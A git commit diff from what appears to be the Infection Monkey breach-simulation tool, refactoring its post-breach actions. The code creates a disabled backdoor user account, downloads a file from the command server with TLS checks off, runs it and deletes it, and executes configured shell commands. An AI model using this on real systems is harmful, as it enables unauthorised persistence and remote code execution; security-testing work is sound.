Post breach refactored to support PBA's from list

This commit is contained in:
VakarisZ 2019-05-08 16:29:04 +03:00
parent 576af97a82
commit 67f8ef4a0a
10 changed files with 180 additions and 222 deletions

View File

@ -20,7 +20,6 @@ class Configuration(object):
# now we won't work at <2.7 for sure
network_import = importlib.import_module('infection_monkey.network')
exploit_import = importlib.import_module('infection_monkey.exploit')
post_breach_import = importlib.import_module('infection_monkey.post_breach')
unknown_items = []
for key, value in formatted_data.items():
@ -37,9 +36,6 @@ class Configuration(object):
elif key == 'exploiter_classes':
class_objects = [getattr(exploit_import, val) for val in value]
setattr(self, key, class_objects)
elif key == 'post_breach_actions':
class_objects = [getattr(post_breach_import, val) for val in value]
setattr(self, key, class_objects)
else:
if hasattr(self, key):
setattr(self, key, value)

View File

@ -115,10 +115,7 @@ class InfectionMonkey(object):
system_info = system_info_collector.get_info()
ControlClient.send_telemetry("system_info_collection", system_info)
for action_class in WormConfiguration.post_breach_actions:
action = action_class()
action.act()
# Executes post breach actions
PostBreach().execute()
if 0 == WormConfiguration.depth:

View File

@ -1,4 +1 @@
__author__ = 'danielg'
from add_user import BackdoorUser

View File

@ -0,0 +1,7 @@
from os.path import dirname, basename, isfile, join
import glob
def get_pba_files():
files = glob.glob(join(dirname(__file__), "*.py"))
return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith('__init__.py')]

View File

@ -0,0 +1,25 @@
import datetime
from infection_monkey.post_breach.pba import PBA
from infection_monkey.config import WormConfiguration
__author__ = 'danielg'
LINUX_COMMANDS = ['useradd', '-M', '--expiredate',
datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
WormConfiguration.user_to_add]
WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add,
WormConfiguration.remote_user_pass,
'/add', '/ACTIVE:NO']
PBA_NAME = "Backdoor user"
class BackdoorUser(object):
def __init__(self):
pass
@staticmethod
def get_pba():
return PBA.default_get_pba(PBA_NAME, BackdoorUser, LINUX_COMMANDS, WINDOWS_COMMANDS)

View File

@ -0,0 +1,89 @@
import requests
import os
import logging
from infection_monkey.utils import is_windows_os
from infection_monkey.post_breach.pba import PBA
from infection_monkey.control import ControlClient
from infection_monkey.config import WormConfiguration
from infection_monkey.utils import get_monkey_dir_path
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
# Default commands for executing PBA file and then removing it
DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
DIR_CHANGE_WINDOWS = 'cd %s & '
DIR_CHANGE_LINUX = 'cd %s ; '
class UsersPBA(PBA):
"""
Defines user's configured post breach action.
"""
def __init__(self, command="", filename=""):
self.filename = filename
super(UsersPBA, self).__init__("File execution", command)
def _execute_default(self):
UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename)
return super(UsersPBA, self)._execute_default()
@staticmethod
def download_pba_file(dst_dir, filename):
"""
Handles post breach action file download
:param dst_dir: Destination directory
:param filename: Filename
:return: True if successful, false otherwise
"""
pba_file_contents = requests.get("https://%s/api/pba/download/%s" %
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
try:
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
written_PBA_file.write(pba_file_contents.content)
return True
except IOError as e:
LOG.error("Can not download post breach file to target machine, because %s" % e)
return False
@staticmethod
def get_pba():
"""
Creates post breach actions depending on users input into 'custom post breach' config section
:return: List of PBA objects ([user's file execution PBA, user's command execution PBA])
"""
command_pba_name = "Custom command"
if not is_windows_os():
# Add linux commands to PBA's
if WormConfiguration.PBA_linux_filename:
if WormConfiguration.custom_PBA_linux_cmd:
# Add change dir command, because user will try to access his file
command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd
return UsersPBA(command, WormConfiguration.PBA_linux_filename)
else:
file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_linux_filename)
command = DEFAULT_LINUX_COMMAND.format(file_path)
return UsersPBA(command, WormConfiguration.PBA_linux_filename)
elif WormConfiguration.custom_PBA_linux_cmd:
return PBA(name=command_pba_name, command=WormConfiguration.custom_PBA_linux_cmd)
else:
# Add windows commands to PBA's
if WormConfiguration.PBA_windows_filename:
if WormConfiguration.custom_PBA_windows_cmd:
# Add change dir command, because user will try to access his file
command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd
return UsersPBA(command, WormConfiguration.PBA_windows_filename)
else:
file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_windows_filename)
command = DEFAULT_WINDOWS_COMMAND.format(file_path)
return UsersPBA(command, WormConfiguration.PBA_windows_filename)
elif WormConfiguration.custom_PBA_windows_cmd:
return PBA(name=command_pba_name, command=WormConfiguration.custom_PBA_windows_cmd)

View File

@ -1,52 +0,0 @@
import datetime
import logging
import subprocess
import sys
from infection_monkey.config import WormConfiguration
LOG = logging.getLogger(__name__)
# Linux doesn't have WindowsError
try:
WindowsError
except NameError:
WindowsError = None
__author__ = 'danielg'
class BackdoorUser(object):
"""
This module adds a disabled user to the system.
This tests part of the ATT&CK matrix
"""
def act(self):
LOG.info("Adding a user")
try:
if sys.platform.startswith("win"):
retval = self.add_user_windows()
else:
retval = self.add_user_linux()
if retval != 0:
LOG.warn("Failed to add a user")
else:
LOG.info("Done adding user")
except OSError:
LOG.exception("Exception while adding a user")
@staticmethod
def add_user_linux():
cmd_line = ['useradd', '-M', '--expiredate',
datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
WormConfiguration.user_to_add]
retval = subprocess.call(cmd_line)
return retval
@staticmethod
def add_user_windows():
cmd_line = ['net', 'user', WormConfiguration.user_to_add,
WormConfiguration.remote_user_pass,
'/add', '/ACTIVE:NO']
retval = subprocess.call(cmd_line)
return retval

View File

@ -1,68 +0,0 @@
from infection_monkey.post_breach.pba import PBA
from infection_monkey.control import ControlClient
from infection_monkey.config import WormConfiguration
from infection_monkey.utils import get_monkey_dir_path
import requests
import os
import logging
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
# Default commands for executing PBA file and then removing it
DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
class FileExecution(PBA):
"""
Defines user's file execution post breach action.
"""
def __init__(self, linux_command="", windows_command=""):
self.linux_filename = WormConfiguration.PBA_linux_filename
self.windows_filename = WormConfiguration.PBA_windows_filename
super(FileExecution, self).__init__("File execution", linux_command, windows_command)
def _execute_linux(self):
FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename)
return super(FileExecution, self)._execute_linux()
def _execute_win(self):
FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename)
return super(FileExecution, self)._execute_win()
def add_default_command(self, is_linux):
"""
Replaces current (likely empty) command with default file execution command (that changes permissions, executes
and finally deletes post breach file).
Default commands are defined as globals in this module.
:param is_linux: Boolean that indicates for which OS the command is being set.
"""
if is_linux:
file_path = os.path.join(get_monkey_dir_path(), self.linux_filename)
self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path)
else:
file_path = os.path.join(get_monkey_dir_path(), self.windows_filename)
self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path)
@staticmethod
def download_PBA_file(dst_dir, filename):
"""
Handles post breach action file download
:param dst_dir: Destination directory
:param filename: Filename
:return: True if successful, false otherwise
"""
PBA_file_contents = requests.get("https://%s/api/pba/download/%s" %
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
try:
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
written_PBA_file.write(PBA_file_contents.content)
return True
except IOError as e:
LOG.error("Can not download post breach file to target machine, because %s" % e)
return False

View File

@ -1,7 +1,10 @@
import logging
from infection_monkey.control import ControlClient
import subprocess
import socket
from infection_monkey.control import ControlClient
from infection_monkey.utils import is_windows_os
from infection_monkey.config import WormConfiguration
LOG = logging.getLogger(__name__)
@ -12,57 +15,55 @@ class PBA(object):
"""
Post breach action object. Can be extended to support more than command execution on target machine.
"""
def __init__(self, name="unknown", linux_command="", windows_command=""):
def __init__(self, name="unknown", command=""):
"""
:param name: Name of post breach action.
:param linux_command: Command that will be executed on linux machine
:param windows_command: Command that will be executed on windows machine
:param command: Command that will be executed on breached machine
"""
self.linux_command = linux_command
self.windows_command = windows_command
self.command = command
self.name = name
def run(self, is_linux):
@staticmethod
def get_pba():
"""
Runs post breach action command
:param is_linux: boolean that indicates on which os monkey is running
Should be overridden by all child classes.
This method returns a PBA object based on worm's configuration.
:return: An array of PBA objects.
"""
if is_linux:
command = self.linux_command
exec_funct = self._execute_linux
else:
command = self.windows_command
exec_funct = self._execute_win
if command:
hostname = socket.gethostname()
ControlClient.send_telemetry('post_breach', {'command': command,
'result': exec_funct(),
'name': self.name,
'hostname': hostname,
'ip': socket.gethostbyname(hostname)
})
def _execute_linux(self):
"""
Default linux PBA execution function. Override it if additional functionality is needed
"""
return self._execute_default(self.linux_command)
def _execute_win(self):
"""
Default linux PBA execution function. Override it if additional functionality is needed
"""
return self._execute_default(self.windows_command)
raise NotImplementedError()
@staticmethod
def _execute_default(command):
def default_get_pba(name, pba_class, linux_cmd="", windows_cmd=""):
if pba_class.__name__ in WormConfiguration.post_breach_actions:
command = PBA.choose_command(linux_cmd, windows_cmd)
if command:
return PBA(name, command)
def run(self):
"""
Runs post breach action command
"""
exec_funct = self._execute_default
hostname = socket.gethostname()
ControlClient.send_telemetry('post_breach', {'command': self.command,
'result': exec_funct(),
'name': self.name,
'hostname': hostname,
'ip': socket.gethostbyname(hostname)
})
def _execute_default(self):
"""
Default post breach command execution routine
:param command: What command to execute
:return: Tuple of command's output string and boolean, indicating if it succeeded
"""
try:
return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True
return subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True), True
except subprocess.CalledProcessError as e:
# Return error output of the command
return e.output, False
@staticmethod
def choose_command(linux_cmd, windows_cmd):
return windows_cmd if is_windows_os() else linux_cmd

View File

@ -1,16 +1,14 @@
import logging
import infection_monkey.config
from file_execution import FileExecution
from pba import PBA
import inspect
import importlib
from infection_monkey.post_breach.actions import get_pba_files
from infection_monkey.utils import is_windows_os
from infection_monkey.utils import get_monkey_dir_path
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
DIR_CHANGE_WINDOWS = 'cd %s & '
DIR_CHANGE_LINUX = 'cd %s ; '
PATH_TO_ACTIONS = "infection_monkey.post_breach.actions."
class PostBreach(object):
@ -19,65 +17,33 @@ class PostBreach(object):
"""
def __init__(self):
self.os_is_linux = not is_windows_os()
self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration)
self.pba_list = self.config_to_pba_list()
def execute(self):
"""
Executes all post breach actions.
"""
for pba in self.pba_list:
pba.run(self.os_is_linux)
pba.run()
LOG.info("Post breach actions executed")
@staticmethod
def config_to_pba_list(config):
def config_to_pba_list():
"""
Returns a list of PBA objects generated from config.
:param config: Monkey configuration
Passes config to each post breach action class and aggregates results into a list.
:return: A list of PBA objects.
"""
pba_list = []
pba_list.extend(PostBreach.get_custom_PBA(config))
pba_files = get_pba_files()
# Go through all of files in ./actions
for pba_file in pba_files:
# Import module from that file
module = importlib.import_module(PATH_TO_ACTIONS + pba_file)
# Get all classes in a module
pba_classes = [m[1] for m in inspect.getmembers(module, inspect.isclass) if m[1].__module__ == module.__name__]
# Get post breach action object from class
for pba_class in pba_classes:
pba = pba_class.get_pba()
if pba:
pba_list.append(pba)
return pba_list
@staticmethod
def get_custom_PBA(config):
"""
Creates post breach actions depending on users input into 'custom post breach' config section
:param config: monkey's configuration
:return: List of PBA objects ([user's file execution PBA, user's command execution PBA])
"""
custom_list = []
file_pba = FileExecution()
command_pba = PBA(name="Custom")
if not is_windows_os():
# Add linux commands to PBA's
if config.PBA_linux_filename:
if config.custom_PBA_linux_cmd:
# Add change dir command, because user will try to access his file
file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd
else:
file_pba.add_default_command(is_linux=True)
elif config.custom_PBA_linux_cmd:
command_pba.linux_command = config.custom_PBA_linux_cmd
else:
# Add windows commands to PBA's
if config.PBA_windows_filename:
if config.custom_PBA_windows_cmd:
# Add change dir command, because user will try to access his file
file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \
config.custom_PBA_windows_cmd
else:
file_pba.add_default_command(is_linux=False)
elif config.custom_PBA_windows_cmd:
command_pba.windows_command = config.custom_PBA_windows_cmd
# Add PBA's to list
if file_pba.linux_command or file_pba.windows_command:
custom_list.append(file_pba)
if command_pba.windows_command or command_pba.linux_command:
custom_list.append(command_pba)
return custom_list